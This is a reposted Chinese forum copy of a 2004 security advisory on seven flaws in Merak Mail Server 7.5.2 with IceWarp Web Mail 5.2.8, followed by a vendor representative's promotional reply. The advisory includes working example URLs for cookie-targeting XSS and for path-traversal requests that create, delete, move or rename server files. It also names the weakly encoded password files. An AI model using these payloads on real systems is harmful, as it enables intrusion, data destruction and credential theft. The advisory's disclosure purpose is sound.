[转载]Icewarp Web Mail 5.2.8多个安全漏洞及利用方法
信息来源：hk20.comMerak Mail Server, with the revolutionary Merak Mail Server GroupWare Server, cutting-edge
Merak Mail Server Instant Antispam and much more, is the fastest, most stable, secure and
100% virus free mail server on the market today.
Every day companies choose Merak Mail Server's stability, speed, security,
functionality, scalability and multi-tiered delegated manageability over products costing
thousands of dollars more yet lacking the sophistication that Merak delivers.
In less than 10 minutes you can have the same professional email server that organizations
such as NATO, the U.S. Navy, the FBI, Toyota, the U.S. Government, and many ISP Providers
and Developers depend on every day.
Source: [url]www.MerakMailServer.com[/url]
VULNERABLE PRODUCTS
MERAK Mail Server 7.5.2 with Icewarp Web Mail 5.2.8
MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 (vulnerabilities #3, #4 only)
DETAILS
1. Multiple cross-site scripting (XSS) vulnerabilities.
Description: Remote user, who HAS active session on Merak Mail Server, can execute
cross-site scripting (XSS) attack.
Vulnerable pages:
send.html
attachment.html
folderitem.html
Examples:
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&redirectfile="><sc
ript>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&Old_Folder="><scri
pt>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&Old_Message="><scr
ipt>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&xwritesentcopy="><
script>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&returnreceipt="><s
cript>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&forwardfile="><scr
ipt>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&writepriority="><s
cript>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]©folder="><scri
pt>alert(document.cookie)</script>
[url]http://localhost:32000/mail/send.html?id=[/url][sessionid]&messageid="><scrip
t>alert(document.cookie)</script>
[url]http://localhost:32000/mail/attachment.html?id=[/url][sessionid]&attachmentpage_text_error=&
amp;lt;script>alert(document.cookie)</script>
[url]http://localhost:32000/mail/attachment.html?id=[/url][sessionid]&attachmentpage_text_title=&
lt;/title><script>alert(document.cookie)</script>
[url]http://localhost:32000/mail/folderitem.html?id=[/url][sessionid]&folderold="><
;script>alert(document.cookie)</script> (“Outlook
like” skins are not vulnerable)
2. Arbitrary direction creation on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can create
arbitrary directories on local file system of the target.
Vulnerable page: viewaction.html
Example:
[url]http://localhost:32000/mail/viewaction.html?id=[/url][sessionid]&folder=../.../../../../../.
./[arbitary directory]&Move_x=1&originalfolder=blabla
Note: single logical drive on remote system is affected because relative paths are used
3. Simple encryption of users passwords.
Description: Very simple encryption of users passwords in users.cfg, settings.cfg (XOR),
users.dat, user.dat (BASE64). If attacker got access to this files then he could take
users and administrators passwords.
Vulnerable files:
[MerakDir] \config\settings.cfg
[MerakDir] \config\ [DomainName] \users.cfg
[MerakDir] \webmail\config\users.dat
[MerakDir] \webmail\users\ [DomainName] \ [UserName] \user.dat
Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to it.
4. File creation with arbitrary content on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can create text
file on Merak Mail Server with arbitrary content (include special characters). Name of
file will be accounts.dat. Combining this vulnerability with vulnerability #7 attacker
could executed arbitrary PHP code.
Vulnerable page: accountsettings_add.html
Example:
[url]http://localhost:32000/mail/accountsettings_add.html?id=[/url][sessionid]&Save_x=1&accou
nt[EMAIL]=hacker&account[HOST]=blackhat.org&account[HOSTUSER]=hacker&account[H
OSTPASS]=31337&account[HOSTPASS2]=31337&accountid=[arbitary text]
Note: MERAK Mail Server 7.6.0 with Icewarp Mail Server 5.3.0 also vulnerable to it.
5. Arbitrary files deletion on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can delete
arbitrary files on local file system of the target. It could be used for deleting arbitary
data on an affected system or causing denial of service (DOS) conditions.
Vulnerable pages: viewaction.html
Example:
[url]http://localhost:32000/mail/viewaction.html?id=[/url][sessionid]&messageid=....//...//...//.
..//…//…//…//winnt/system32/cmd.exe&action=delete&or
iginalfolder=blabla
Note: single logical drive on remote system is affected because relative paths are used
6. Moving arbitrary files or directories on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can moving
arbitrary files or directories on local file system of the target. It could be used for
causing denial of service (DOS) conditions or access to arbitrary files on affected
system.
Vulnerable page: viewaction.html
Example:
[url]http://localhost:32000/mail/viewaction.html?id=[/url][sessionid]&messageid=....//...//...//.
..//config/settings.cfg&Move_x=1&originalfolder=blabla&folder=../../../html/ma
il
Note: single logical drive on remote system is affected because relative paths are used
7. Renaming arbitrary files or directories on remote system.
Description: Remote user, who HAS active session on Merak Mail Server, can renaming
arbitrary files or directories on local file system of the target. Moving files or
directories also possible. It could be used for causing denial of service (DOS) conditions
or access to arbitrary files on affected system.
Vulnerable page: folders.html
Example:
[url]http://localhost:32000/mail/folders.html?id=[/url][sessionid]&folderold=blabla/...//...//...
//...//config/settings.cfg&folder=blabla/...//...//...//...//config/settings.html&
Save_x=1
Note: single logical drive on remote system is affected because relative paths are used
EXPLOITATION
IceWarp Web Mail (CONTROL service) must be running on Merak Mail Server (default ENABLE).
User account on Merak Mail Server is needed.
WORKAROUND
Upgrade to MERAK Mail Server 7.6.0 with Icewarp Web Mail 5.3.0 or disable Icewarp Web Mail
service (Control.exe).
VENDOR STATUS
Not contacted.
SUMMARY
An attacker who successfully exploited vulnerabilities described in this report could take
complete control of a Merak Mail Server 7.5.2 or an affected remote system. Merak Mail
Server 7.6.0 with Icewarp Web Mail 5.3.0 also vulnerable to other (undescribed in this
report) critical vulnerabilities. An attacker who successfully exploited of this
undescribed vulnerabilities could take complete control of a Merak Mail Server or an
affected remote system. I’m not advice to use this product, you must disable
Icewarp Web Mail service.
CREDITS
ShineShadow, undependent computer security expert.
To get more information, please contact me by e-mail.
05.11.2004
ShineShadow,
[email]ss_contacts@hotmail.com[/email] 我是[b]Icewarp大[/b]陆公司的．[b][b]Icewarp Web Mail 5.2.8[/b][/b]多个安全漏洞，那是我们公司的老版本了．
现在有[b]Icewarp Web Mail ８.２.４r[/b]新的版本(中,英文版)．可供给你[b]大家免费下载[/b]． 一些相关的问题
也可以和我联系．huxuan＠icewarp.cn
很高兴地告诉您个好消息，微力电邮系统组合（Merak Mail Server Suite）在短短的6年间已在欧洲
取得领导位置，在欧美等地 [b]成为最畅销的电邮系统之一[/b]。微力更是以下跨国企业和政府机关的支持者：
美国海军、北约、联邦调查局、宝马、福特、丰田汽车、富士菲林、宜家家私、飞力普、西门子......等。
全球还有另外3，000万用户正在使用微力。在今年，Icewarp也成功在大陆深圳开办了分公司，目的为
了能够更好的为广大客户服务。
胡兵
IceWarp CHINA Ltd
微力信息系统（深圳）有限公司
地址：深圳罗湖区天安国际大厦B座1901室
电话：0755-82186489/82185489
传真：0755-82182989 手机：13543306885
E-mail:huxuan@icewarp.cn
页:
[1]